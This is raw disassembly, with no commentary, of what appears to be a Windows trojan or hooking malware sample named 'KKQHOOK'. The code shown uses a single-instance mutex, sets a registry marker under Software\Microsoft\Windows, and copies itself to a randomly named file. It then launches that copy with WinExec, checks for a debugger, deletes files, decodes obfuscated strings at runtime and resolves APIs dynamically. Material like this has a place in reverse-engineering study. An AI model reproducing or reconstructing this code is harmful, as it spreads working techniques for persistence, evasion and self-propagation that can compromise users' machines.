		push	offset Buffer
		push	eax		; Format
		lea	edi, [ebp+FileName]
		push	edi		; Dest
		call	sprintf	; sprintf
		mov	[ebp+var_4702],	0B2h
		add	[ebp+var_4702],	25h
		push	1		; Size
		push	offset byte_446CE0 ; Src
		call	sub_40129C
		lea	edi, [ebp+var_604]
		push	edi		; int
		push	0		; int
		push	[ebp+var_35DC]	; int
		push	eax		; int
		push	offset ClassName ; "KKQHOOK"
		lea	edi, [ebp+FileName]
		push	edi		; lpFileName
		lea	edi, [ebp+Dest]
		push	edi		; int
		push	offset byte_415080 ; hMem
		call	sub_4061F7
		mov	ebx, eax
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	DeleteFileA	; DeleteFileA
		call	GetCurrentProcessId	; GetCurrentProcessId
		lea	eax, [ebp+FileName]
		push	eax
		call	sub_40349A
		add	esp, 68h
		call	GetTickCount	; GetTickCount
		or	ebx, ebx
		jz	short loc_40A2DE
		mov	eax, dword_446A18
		mov	[ebp-4730h], eax
		push	offset byte_415080 ; lpFileName
		call	DeleteFileA	; DeleteFileA


loc_40A2DE:				; CODE XREF: sub_4098A8+51Cj
					; sub_4098A8+A1Fj
		cmp	[ebp+Src], 3Ah
		jnz	loc_40A499
		cmp	[ebp+var_25C1],	3Ah
		jnz	loc_40A499
		call	GetCurrentProcessId	; GetCurrentProcessId
		mov	[ebp+var_25C1],	0
		push	5		; Size
		push	offset byte_446CC3 ; Src
		call	sub_40129C
		lea	edi, [ebp+var_35DC]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+Src]
		push	edi		; Src
		call	sscanf	; sscanf
		add	esp, 14h
		call	GetVersion	; GetVersion
		cmp	[ebp+var_35DC],	0
		jz	short loc_40A35E
		call	rand	; rand
		mov	edx, 621B97C3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	edi, eax
		inc	edi
		cmp	edi, [ebp+var_35DC]
		ja	loc_40A867


loc_40A35E:				; CODE XREF: sub_4098A8+A8Bj
		mov	[ebp+var_35DD],	36h
		add	[ebp+var_35DD],	1
		cmp	VersionInformation.dwPlatformId, 2
		jnz	short loc_40A3DE
		mov	[ebp+var_35DF],	79h
		movzx	eax, [ebp+var_35DF]
		imul	eax, 2939h
		mov	[ebp+var_35DF],	al
		push	400h		; uSize
		lea	eax, [ebp+FileName]
		push	eax		; lpBuffer
		call	GetSystemDirectoryA	; GetSystemDirectoryA
		push	0Ah		; Size
		push	offset dword_446CB8 ; Src
		call	sub_40129C
		lea	edi, [ebp+FileName]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+var_1010]
		push	edi		; Dest
		call	sprintf	; sprintf
		push	8		; Size
		push	offset byte_446CAF ; Src
		call	sub_40129C
		push	eax		; Source
		lea	edi, [ebp+FileName]
		push	edi		; Dest
		call	strcat	; strcat
		add	esp, 24h
		jmp	short loc_40A43F
; ---------------------------------------------------------------------------


loc_40A3DE:				; CODE XREF: sub_4098A8+ACBj
		call	GetTickCount	; GetTickCount
		push	400h		; uSize
		lea	eax, [ebp+FileName]
		push	eax		; lpBuffer
		call	GetWindowsDirectoryA	; GetWindowsDirectoryA
		call	GetTickCount	; GetTickCount
		push	0Eh		; Size
		push	offset dword_446CA0 ; Src
		call	sub_40129C
		lea	edi, [ebp+FileName]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+var_1010]
		push	edi		; Dest
		call	sprintf	; sprintf
		call	GetCurrentProcessId	; GetCurrentProcessId
		push	0Ch		; Size
		push	offset byte_446C93 ; Src
		call	sub_40129C
		push	eax		; Source
		lea	edi, [ebp+FileName]
		push	edi		; Dest
		call	strcat	; strcat
		add	esp, 24h
		call	GetCurrentProcessId	; GetCurrentProcessId


loc_40A43F:				; CODE XREF: sub_4098A8+B34j
		lea	eax, [ebp+var_1010]
		push	eax		; lpFileName
		call	DeleteFileA	; DeleteFileA
		call	GetCurrentProcessId	; GetCurrentProcessId
		push	8		; Size
		push	offset word_446C8A ; Src
		call	sub_40129C
		lea	edi, [ebp+Src]
		add	edi, 4
		push	edi
		lea	edi, [ebp+FileName]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+FileName]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 18h
		push	0		; uCmdShow
		lea	eax, [ebp+FileName]
		push	eax		; lpCmdLine
		call	WinExec	; WinExec
		mov	[ebp+var_35DE],	3Dh
		add	[ebp+var_35DE],	10h


loc_40A499:				; CODE XREF: sub_4098A8+A3Dj
					; sub_4098A8+A4Aj
		push	5		; Size
		push	offset dword_446C84 ; Src
		call	sub_40129C
		mov	edi, 13h
		sub	edi, dword_43C098
		push	edi
		push	eax
		lea	edi, [ebp+Src]
		push	edi
		call	sub_40181A
		add	esp, 14h
		or	eax, eax
		jnz	loc_40A62C
		call	GetCurrentThreadId	; GetCurrentThreadId
		mov	[ebp+var_55DC],	1060h
		sub	[ebp+var_55DC],	872h
		lea	edi, [ebp+var_55E1]
		lea	esi, dword_446A1C
		mov	ecx, 5
		rep movsb
		mov	eax, 19h
		sub	eax, dword_43C098
		push	eax
		lea	eax, [ebp+var_703]
		push	eax
		call	sub_40172F
		push	9		; Size
		push	offset byte_446D1F ; Src
		call	sub_40129C
		lea	edi, [ebp+var_703]
		push	edi
		push	offset Buffer
		push	eax		; Format
		lea	edi, [ebp+CmdLine]
		push	edi		; Dest
		call	sprintf	; sprintf
		mov	eax, dword_446A21
		mov	[ebp+var_55E6+1], eax
		mov	eax, dword_446A25
		mov	[ebp+NumberOfBytesWritten+3], eax
		lea	eax, [ebp+var_25BF]
		push	eax
		lea	eax, [ebp+var_55D6]
		push	eax
		call	sub_40C6D8
		call	GetLastError
		push	3		; Size
		push	offset dword_446C80 ; Src
		call	sub_40129C
		mov	[ebp+lpString],	eax
		push	1		; Size
		push	offset byte_446CE0 ; Src
		call	sub_40129C
		push	0		; int
		push	0		; int
		push	0		; int
		push	eax		; int
		mov	edi, [ebp+lpString]
		push	edi		; lpString
		lea	edi, [ebp+CmdLine]
		push	edi		; lpFileName
		lea	edi, [ebp+var_55D6]
		push	edi		; int
		push	0		; hMem
		call	sub_4061F7
		add	esp, 50h
		mov	ebx, eax
		lea	edi, [ebp+NumberOfBytesWritten+2]
		lea	esi, byte_446A29
		xor	ecx, ecx
		inc	ecx
		rep movsb
		cmp	ebx, 2
		jnz	short loc_40A62C
		mov	[ebp+var_55F4],	554Dh
		mov	eax, 565Ch
		mul	[ebp+var_55F4]
		mov	[ebp+var_55F8],	eax
		mov	[ebp+var_55F4],	eax
		push	0		; uCmdShow
		lea	eax, [ebp+CmdLine]
		push	eax		; lpCmdLine
		call	WinExec	; WinExec
		push	6		; Size
		push	offset byte_446C79 ; Src
		call	sub_40129C
		mov	edi, 13h
		sub	edi, dword_43C098
		push	edi
		push	eax
		lea	edi, [ebp+var_55D6]
		push	edi
		call	sub_40181A
		add	esp, 14h
		cmp	eax, 0FFFFh
		jz	short loc_40A62C
		mov	eax, 13h
		sub	eax, dword_43C098
		push	eax		; Code
		call	exit	; exit
; ---------------------------------------------------------------------------
		pop	ecx


loc_40A62C:				; CODE XREF: sub_4098A8+C1Bj
					; sub_4098A8+D12j ...
		push	5		; Size
		push	offset byte_446C73 ; Src
		call	sub_40129C
		mov	edi, 6
		sub	edi, dword_43C094
		push	edi
		push	eax
		lea	edi, [ebp+Src]
		push	edi
		call	sub_40181A
		add	esp, 14h
		or	eax, eax
		jnz	loc_40A867
		mov	ax, word_446A2A
		mov	[ebp+var_5602],	ax
		call	GetTickCount	; GetTickCount
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	2		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	40000000h	; dwDesiredAccess
		push	offset ExistingFileName	; lpFileName
		call	CreateFileA	; CreateFileA
		mov	[ebp+hFile], eax
		mov	[ebp+lpString],	3Ch
		add	[ebp+lpString],	5583h
		push	6		; Size
		push	offset dword_446C6C ; Src
		call	sub_40129C
		add	esp, 8
		push	0		; lpOverlapped
		lea	edi, [ebp+NumberOfBytesWritten]
		push	edi		; lpNumberOfBytesWritten
		mov	edi, 18h
		sub	edi, dword_43C098
		push	edi		; nNumberOfBytesToWrite
		push	eax		; lpBuffer
		push	[ebp+hFile]	; hFile
		call	WriteFile	; WriteFile
		lea	eax, [ebp+var_25BF]
		push	eax
		lea	eax, [ebp+Format]
		push	eax
		call	sub_40C6D8
		mov	word ptr [ebp+var_55F4+2], 1AEFh
		inc	word ptr [ebp+var_55F4+2]
		lea	ecx, [ebp+Format]
		or	eax, 0FFFFFFFFh


loc_40A6FD:				; CODE XREF: sub_4098A8+E5Aj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40A6FD
		mov	[ebp+var_45E0],	eax
		mov	[ebp+var_35DC],	0
		jmp	short loc_40A73A
; ---------------------------------------------------------------------------


loc_40A716:				; CODE XREF: sub_4098A8+E9Ej
		mov	eax, [ebp+var_35DC]
		cmp	[ebp+eax+Format], 7Ch
		jnz	short loc_40A734
		mov	eax, [ebp+var_35DC]
		mov	[ebp+eax+Format], 0


loc_40A734:				; CODE XREF: sub_4098A8+E7Cj
		inc	[ebp+var_35DC]


loc_40A73A:				; CODE XREF: sub_4098A8+E6Cj
		mov	eax, [ebp+var_45E0]
		cmp	[ebp+var_35DC],	eax
		jb	short loc_40A716
		lea	edi, [ebp+var_5609]
		lea	esi, dword_446A2C
		mov	ecx, 7
		rep movsb
		and	[ebp+var_45E4],	0


loc_40A762:				; CODE XREF: sub_4098A8+F90j
		push	1Fh		; Size
		push	offset dword_446C4C ; Src
		call	sub_40129C
		mov	edi, [ebp+var_45E4]
		lea	edi, [ebp+edi+Format]
		push	edi
		push	eax		; Format
		lea	edi, [ebp-55E7h]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 14h
		mov	byte ptr [ebp+var_55F4+1], 0CCh
		add	byte ptr [ebp+var_55F4+1], 1
		lea	ecx, [ebp-55E7h]
		or	eax, 0FFFFFFFFh


loc_40A7A3:				; CODE XREF: sub_4098A8+F00j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40A7A3
		push	0		; lpOverlapped
		lea	esi, [ebp+NumberOfBytesWritten]
		push	esi		; lpNumberOfBytesWritten
		push	eax		; nNumberOfBytesToWrite
		lea	edi, [ebp-55E7h]
		push	edi		; lpBuffer
		push	[ebp+hFile]	; hFile
		call	WriteFile	; WriteFile
		mov	[ebp+var_55F8],	0FBh
		mov	eax, 2DF3h
		mul	[ebp+var_55F8]
		mov	[ebp+var_5610],	eax
		mov	eax, [ebp+var_5610]
		mov	[ebp+var_55F8],	eax
		mov	eax, [ebp+var_45E4]
		mov	[ebp+var_5614],	eax
		lea	ecx, [ebp+eax+Format]
		or	eax, 0FFFFFFFFh


loc_40A803:				; CODE XREF: sub_4098A8+F60j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40A803
		mov	esi, [ebp+var_5614]
		add	esi, eax
		mov	[ebp+var_45E4],	esi
		mov	[ebp+var_55F9],	17h
		add	[ebp+var_55F9],	0FAh
		inc	[ebp+var_45E4]
		mov	eax, [ebp+var_45E0]
		cmp	[ebp+var_45E4],	eax
		jb	loc_40A762
		mov	[ebp+var_55FA],	0B8h
		sub	[ebp+var_55FA],	50h
		push	[ebp+hFile]	; hObject
		call	CloseHandle	; CloseHandle
		mov	[ebp+var_5600],	5720h
		inc	[ebp+var_5600]


loc_40A867:				; CODE XREF: sub_4098A8+395j
					; sub_4098A8+3AEj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		push	[ebp+var_708]	; int
		push	[ebp+hMem]	; int
		call	sub_401BB7
		add	esp, 0Ch
		mov	[ebp+var_708], eax
		or	eax, eax
		jnz	loc_409C42
		push	[ebp+hMem]	; hMem
		call	LocalFree	; LocalFree
		call	GetVersion	; GetVersion


loc_40A8A0:				; CODE XREF: sub_4098A8+2FBj
					; sub_4098A8+35Bj ...
		call	sub_408B4C
		call	GetLastError
		fld	dbl_446C44
		fimul	dword_43C0BC
		mov	edi, eax
		call	sub_40C630
		xchg	eax, edi
		push	edi		; X
		call	abs	; abs
		mov	edi, dword_43C0C0
		sub	edi, eax
		inc	edi
		mov	[ebp+var_1014],	edi
		mov	eax, dword_446A33
		mov	[ebp+var_1162],	eax
		mov	eax, edi
		mov	[ebp-15C8h], eax
		push	eax		; X
		call	abs	; abs
		add	esp, 8
		mov	edi, [ebp-15C8h]
		add	edi, eax
		mov	[ebp+var_1014],	edi
		call	IsDebuggerPresent	; IsDebuggerPresent
		mov	eax, edi
		mov	edi, dword_43C0C0
		sub	edi, dword_43C0BC
		mov	ecx, edi
		inc	ecx
		xor	edx, edx
		div	ecx
		mov	[ebp+var_15CC],	eax
		mov	[ebp+var_1014],	eax
		call	IsDebuggerPresent	; IsDebuggerPresent
		call	rand	; rand
		mov	[ebp+var_15D0],	eax
		mov	eax, dword_43C0BC
		mov	edx, 66666667h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 1
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		lea	edi, [eax+eax*4]
		mov	esi, [ebp+var_1014]
		mov	edx, [ebp+var_15D0]
		mov	eax, esi
		imul	eax, [ebp+var_15D0]
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		lea	edi, [edi+edx+5]
		mov	dword_43C0BC, edi
		call	GetTickCount	; GetTickCount
		mov	eax, dword_43C0C0
		cmp	dword_43C0BC, eax
		jbe	short loc_40A98F
		and	dword_43C0BC, 0


loc_40A98F:				; CODE XREF: sub_4098A8+10DEj
		lea	edi, [ebp+var_1163]
		lea	esi, byte_446A37
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	30D40h		; Duration
		call	_sleep	; _sleep
		pop	ecx
		call	GetLastError
		jmp	loc_40993B
sub_4098A8	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9BC	proc near		; CODE XREF: sub_40AA24+11p

var_C		= dword	ptr -0Ch
hObject		= dword	ptr -8
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		call	GetVersion	; GetVersion
		mov	[ebp+var_2], 7C9Bh
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		push	offset Name	; "KKQHOOK_29"
		push	0		; bInheritHandle
		push	1F0001h		; dwDesiredAccess
		call	OpenMutexA	; OpenMutexA
		mov	[ebp+hObject], eax
		or	eax, eax
		jz	short loc_40AA21
		call	GetLastError
		push	[ebp+hObject]	; hObject
		call	CloseHandle	; CloseHandle
		mov	[ebp+var_C], 7B70h
		sub	[ebp+var_C], 2C79h
		mov	eax, 13h
		sub	eax, dword_43C098
		push	eax		; Code
		call	exit	; exit
; ---------------------------------------------------------------------------
		pop	ecx


loc_40AA21:				; CODE XREF: sub_40A9BC+36j
		pop	edi
		leave
		retn
sub_40A9BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_40AA24(HMODULE hModule, int, int, int)

sub_40AA24	proc near		; CODE XREF: sub_40C654+5Cp

var_7CF		= byte ptr -7CFh
var_7C8		= dword	ptr -7C8h
var_7C3		= byte ptr -7C3h
var_7C1		= byte ptr -7C1h
var_7C0		= dword	ptr -7C0h
var_7BC		= dword	ptr -7BCh
var_7B8		= dword	ptr -7B8h
ThreadId	= dword	ptr -7B4h
var_7AF		= byte ptr -7AFh
var_7AC		= word ptr -7ACh
var_7AA		= byte ptr -7AAh
var_7A2		= byte ptr -7A2h
var_79F		= byte ptr -79Fh
var_797		= word ptr -797h
var_795		= byte ptr -795h
var_792		= byte ptr -792h
var_78C		= byte ptr -78Ch
Type		= dword	ptr -784h
var_780		= dword	ptr -780h
var_77C		= word ptr -77Ch
SubKey		= byte ptr -77Ah
var_67B		= byte ptr -67Bh
Filename	= byte ptr -57Ch
var_478		= dword	ptr -478h
cbData		= dword	ptr -474h
ExistingFileName= byte ptr -470h
hObject		= dword	ptr -36Ch
var_367		= byte ptr -367h
var_366		= word ptr -366h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
Format		= byte ptr -35Bh
Dest		= byte ptr -2F7h
var_293		= byte ptr -293h
var_292		= word ptr -292h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_286		= word ptr -286h
var_284		= dword	ptr -284h
var_27E		= word ptr -27Eh
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_272		= word ptr -272h
NewFileName	= byte ptr -270h
var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_167		= byte ptr -167h
var_166		= word ptr -166h
var_164		= word ptr -164h
FileName	= byte ptr -161h
var_5D		= byte ptr -5Dh
Data		= byte ptr -5Ch
WndClass	= WNDCLASSA ptr	-55h
var_2D		= byte ptr -2Dh
var_27		= byte ptr -27h
var_26		= byte ptr -26h
var_25		= byte ptr -25h
Msg		= MSG ptr -1Dh
var_1		= byte ptr -1
hModule		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	edi
		call	GetLastError
		call	sub_40A9BC
		call	GetCurrentProcessId	; GetCurrentProcessId
		mov	ax, word_446A38
		mov	[ebp+var_77C], ax
		push	104h		; uSize
		lea	eax, [ebp+FileName]
		push	eax		; lpBuffer
		call	GetSystemDirectoryA	; GetSystemDirectoryA
		mov	[ebp+var_164], 7225h
		sub	[ebp+var_164], 4952h
		push	13h		; Size
		push	offset byte_446C2F ; Src
		call	sub_40129C
		push	eax		; Source
		lea	edi, [ebp+FileName]
		push	edi		; Dest
		call	strcat	; strcat
		add	esp, 10h
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	80000001h	; dwDesiredAccess
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40AAB8
		call	sub_40844F
		jmp	short loc_40AAC3
; ---------------------------------------------------------------------------


loc_40AAB8:				; CODE XREF: sub_40AA24+8Bj
		push	[ebp+hObject]	; hObject
		call	CloseHandle	; CloseHandle


loc_40AAC3:				; CODE XREF: sub_40AA24+92j
		call	GetLastError
		push	9		; Size
		push	offset byte_446C25 ; Src
		call	sub_40129C
		push	eax		; lpString
		call	GlobalAddAtomA	; GlobalAddAtomA
		call	GetVersion	; GetVersion
		mov	eax, [ebp+hModule]
		mov	hInstance, eax
		mov	VersionInformation.dwOSVersionInfoSize,	94h
		call	GetLastError
		push	offset VersionInformation ; lpVersionInformation
		call	GetVersionExA	; GetVersionExA
		mov	[ebp+var_166], 14B0h
		movzx	eax, [ebp+var_166]
		imul	eax, 2D29h
		mov	[ebp+var_166], ax
		push	0FFh		; uSize
		push	offset Buffer	; lpBuffer
		call	GetSystemDirectoryA	; GetSystemDirectoryA
		mov	[ebp+var_167], 6Eh
		movzx	eax, [ebp+var_167]
		imul	eax, 5351h
		mov	[ebp+var_167], al
		call	GetTickCount	; GetTickCount
		push	eax		; Seed
		call	srand	; srand
		mov	[ebp+var_168], 59h
		movzx	eax, [ebp+var_168]
		imul	eax, 49B8h
		mov	[ebp+var_168], al
		mov	eax, dword_446A3A
		mov	[ebp+var_780], eax
		push	104h		; nSize
		lea	eax, [ebp+ExistingFileName]
		push	eax		; lpFilename
		push	[ebp+hModule]	; hModule
		call	GetModuleFileNameA	; GetModuleFileNameA
		call	GetLastError
		and	dword ptr [ebp+Data], 0
		mov	[ebp+cbData], 4
		mov	[ebp+var_16C], 665Eh
		mov	eax, 6DB4h
		mul	[ebp+var_16C]
		mov	[ebp+var_7B8], eax
		mov	[ebp+var_16C], eax
		lea	eax, [ebp+Type]
		push	eax		; lpType
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		push	offset ClassName ; "KKQHOOK"
		push	offset SubKey	; "Software\\Microsoft\\Windows"
		push	80000001h	; hKey
		call	sub_4014C9
		add	esp, 24h
		mov	[ebp+var_478], eax
		mov	[ebp+var_5D], 0FBh
		movzx	eax, [ebp+var_5D]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_5D], al
		cmp	[ebp+var_478], 0
		jz	short loc_40AC5D
		lea	edi, [ebp+var_7C1]
		lea	esi, word_446A3E
		mov	ecx, 5
		rep movsb
		cmp	dword ptr [ebp+Data], 1Dh
		jbe	short loc_40AC32
		mov	eax, 6
		sub	eax, dword_43C094
		push	eax		; Code
		call	exit	; exit
; ---------------------------------------------------------------------------
		pop	ecx


loc_40AC32:				; CODE XREF: sub_40AA24+1FAj
		cmp	dword ptr [ebp+Data], 1Dh
		jz	loc_40AE0C
		mov	[ebp+var_7BC], 6267h
		mov	eax, 5DE7h
		mul	[ebp+var_7BC]
		mov	[ebp+var_7C8], eax
		mov	[ebp+var_7BC], eax


loc_40AC5D:				; CODE XREF: sub_40AA24+1E1j
		lea	edi, [ebp+var_78C]
		lea	esi, byte_446A43
		movsd
		movsd
		lea	edi, [ebp+var_792]
		lea	esi, aWq6ug	; "wq6Ug"
		mov	ecx, 3
		rep movsw
		call	rand	; rand
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	edi, eax
		add	edi, 41h
		mov	edx, edi
		mov	[ebp+var_2D], dl
		mov	[ebp+var_272], 223Eh
		movzx	eax, [ebp+var_272]
		imul	eax, 298Dh
		mov	[ebp+var_272], ax
		mov	[ebp+var_1], 1
		jmp	short loc_40ACF3
; ---------------------------------------------------------------------------


loc_40ACC6:				; CODE XREF: sub_40AA24+2D4j
		call	rand	; rand
		movzx	edi, [ebp+var_1]
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	esi, eax
		add	esi, 61h
		mov	edx, esi
		mov	[ebp+edi+var_2D], dl
		add	[ebp+var_1], 1


loc_40ACF3:				; CODE XREF: sub_40AA24+2A0j
		mov	al, [ebp+var_1]
		cmp	al, 8
		jbe	short loc_40ACC6
		call	GetCurrentProcessId	; GetCurrentProcessId
		mov	[ebp+var_25], 0
		call	rand	; rand
		mov	edx, eax
		test	dl, 1
		jnz	short loc_40AD21
		call	GetLastError
		mov	[ebp+var_27], 33h
		call	GetCurrentProcessId	; GetCurrentProcessId
		mov	[ebp+var_26], 32h


loc_40AD21:				; CODE XREF: sub_40AA24+2E9j
		push	9		; Size
		push	offset byte_446C1B ; Src
		call	sub_40129C
		lea	edi, [ebp+var_2D]
		push	edi
		push	offset Buffer
		push	eax		; Format
		lea	edi, [ebp+NewFileName]
		push	edi		; Dest
		call	sprintf	; sprintf
		lea	edi, [ebp+var_795]
		lea	esi, aRf	; "rf"
		mov	ecx, 3
		rep movsb
		push	0		; bFailIfExists
		lea	eax, [ebp+NewFileName]
		push	eax		; lpNewFileName
		lea	eax, [ebp+ExistingFileName]
		push	eax		; lpExistingFileName
		call	CopyFileA	; CopyFileA
		mov	[ebp+var_278], 1F00h
		add	[ebp+var_278], 2126h
		lea	eax, [ebp+var_2D]
		push	eax
		call	sub_403BE7
		mov	ax, word_446A54
		mov	[ebp+var_797], ax
		mov	dword ptr [ebp+Data], 1Dh
		push	4		; dwType
		push	4		; cbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		push	offset ClassName ; "KKQHOOK"
		push	offset SubKey	; "Software\\Microsoft\\Windows"
		push	80000001h	; hKey
		call	sub_40160A
		add	esp, 34h
		push	0		; uCmdShow
		lea	eax, [ebp+NewFileName]
		push	eax		; lpCmdLine
		call	WinExec	; WinExec
		mov	ebx, 5146h
		mov	eax, 3A35h
		mul	ebx
		mov	[ebp+var_7BC], eax
		mov	ebx, eax
		call	sub_40406B
		mov	[ebp+var_27C], 7EF6h
		add	[ebp+var_27C], 2A96h
		mov	eax, 13h
		sub	eax, dword_43C098
		push	eax		; uExitCode
		call	ExitProcess	; ExitProcess
; ---------------------------------------------------------------------------
		call	GetLastError


loc_40AE0C:				; CODE XREF: sub_40AA24+212j
		push	5		; Size
		push	offset byte_446C15 ; Src
		call	sub_40129C
		push	offset byte_446C0B
		push	offset Buffer
		push	eax		; Format
		push	offset byte_41FA00 ; Dest
		call	sprintf	; sprintf
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	5		; Size
		push	offset byte_446C15 ; Src
		call	sub_40129C
		push	offset byte_446C01
		push	offset Buffer
		push	eax		; Format
		push	offset FileName	; Dest
		call	sprintf	; sprintf
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	5		; Size
		push	offset byte_446C15 ; Src
		call	sub_40129C
		push	offset dword_446BF4
		push	offset Buffer
		push	eax		; Format
		push	offset byte_40E080 ; Dest
		call	sprintf	; sprintf
		mov	[ebp+var_27E], 3039h
		inc	[ebp+var_27E]
		push	0Eh		; Size
		push	offset byte_446BE5 ; Src
		call	sub_40129C
		push	offset Buffer
		push	eax		; Format
		push	offset ExistingFileName	; Dest
		call	sprintf	; sprintf
		push	0FFh		; uSize
		push	offset byte_415080 ; lpBuffer
		call	GetWindowsDirectoryA	; GetWindowsDirectoryA
		mov	[ebp+var_284], 5F78h
		mov	eax, 6104h
		mul	[ebp+var_284]
		mov	[ebp+var_7C0], eax
		mov	[ebp+var_284], eax
		push	9		; Size
		push	offset byte_446BDB ; Src
		call	sub_40129C
		push	eax		; Source
		push	offset byte_415080 ; Dest
		call	strcat	; strcat
		mov	[ebp+var_286], 8EFh
		sub	[ebp+var_286], 6AEAh
		lea	eax, ClassName	; "KKQHOOK"
		mov	[ebp+WndClass.lpszClassName], eax
		call	IsDebuggerPresent	; IsDebuggerPresent
		mov	eax, hInstance
		mov	[ebp+WndClass.hInstance], eax
		lea	eax, sub_40B3E8
		mov	[ebp+WndClass.lpfnWndProc], eax
		push	7F00h		; lpCursorName
		push	0		; hInstance
		call	LoadCursorA	; LoadCursorA
		mov	[ebp+WndClass.hCursor],	eax
		mov	[ebp+var_28C], 5A0Bh
		inc	[ebp+var_28C]
		push	7F03h		; lpIconName
		push	0		; hInstance
		call	LoadIconA	; LoadIconA
		mov	[ebp+WndClass.hIcon], eax
		call	GetTickCount	; GetTickCount
		and	[ebp+WndClass.lpszMenuName], 0
		push	0		; i
		call	GetStockObject	; GetStockObject
		mov	[ebp+WndClass.hbrBackground], eax
		lea	edi, [ebp+var_79F]
		lea	esi, word_446A56
		movsd
		movsd
		mov	[ebp+WndClass.style], 3
		and	[ebp+WndClass.cbClsExtra], 0
		and	[ebp+WndClass.cbWndExtra], 0
		lea	eax, [ebp+WndClass]
		push	eax		; lpWndClass
		call	RegisterClassA	; RegisterClassA
		mov	[ebp+var_290], 4E7Bh
		sub	[ebp+var_290], 7B38h
		push	0		; lpParam
		push	hInstance	; hInstance
		push	0		; hMenu
		push	0		; hWndParent
		push	0		; nHeight
		push	0		; nWidth
		push	0		; Y
		push	0		; X
		push	0CA0000h	; dwStyle
		push	offset ClassName ; "KKQHOOK"
		push	offset ClassName ; "KKQHOOK"
		push	0		; dwExStyle
		call	CreateWindowExA	; CreateWindowExA
		mov	dword_41C7BC, eax
		push	offset Name	; "KKQHOOK_29"
		push	0		; bInitialOwner
		push	0		; lpMutexAttributes
		call	CreateMutexA	; CreateMutexA
		call	GetVersion	; GetVersion
		push	2
		call	sub_402A48
		add	esp, 70h
		call	GetLastError
		call	GetVersion	; GetVersion
		cmp	eax, 80000000h
		jb	short loc_40B05B
		mov	eax, dword_446A5E
		mov	[ebp+var_7C8], eax
		push	0Ch		; Size
		push	offset word_446BCE ; Src
		call	sub_40129C
		push	eax		; lpModuleName
		call	GetModuleHandleA	; GetModuleHandleA
		mov	edi, eax
		push	16h		; Size
		push	offset aJZaJzJvDjZz ; "†±³½§ ±¦‡±¦¢½·±„¦»·±§§"
		call	sub_40129C
		add	esp, 10h
		push	eax		; lpProcName
		push	edi		; hModule
		call	GetProcAddress	; GetProcAddress
		mov	[ebp-7C4h], eax
		call	GetCurrentProcessId	; GetCurrentProcessId
		mov	edi, 13h
		sub	edi, dword_43C098
		push	edi
		push	eax
		call	dword ptr [ebp-7C4h]
		lea	edi, [ebp+var_7CF]
		lea	esi, word_446A62
		mov	ecx, 7
		rep movsb


loc_40B05B:				; CODE XREF: sub_40AA24+5CFj
		push	104h		; nSize
		lea	eax, [ebp+Filename]
		push	eax		; lpFilename
		push	0		; hModule
		call	GetModuleFileNameA	; GetModuleFileNameA
		mov	[ebp+var_292], 1A3Fh
		inc	[ebp+var_292]
		lea	eax, [ebp+Filename]
		push	eax
		call	sub_40341E
		push	offset byte_41FA00
		call	sub_40341E
		push	offset FileName
		call	sub_40341E
		call	GetTickCount	; GetTickCount
		push	offset byte_40E080
		call	sub_40341E
		call	GetTickCount	; GetTickCount
		call	GetCurrentProcessId	; GetCurrentProcessId
		push	eax		; Val
		call	sub_4036BC
		mov	[ebp+var_293], 0A0h
		sub	[ebp+var_293], 3Ch
		lea	edi, [ebp+var_7A2]
		lea	esi, byte_446A69
		mov	ecx, 3
		rep movsb
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	sub_40399B
		call	GetCurrentProcessId	; GetCurrentProcessId
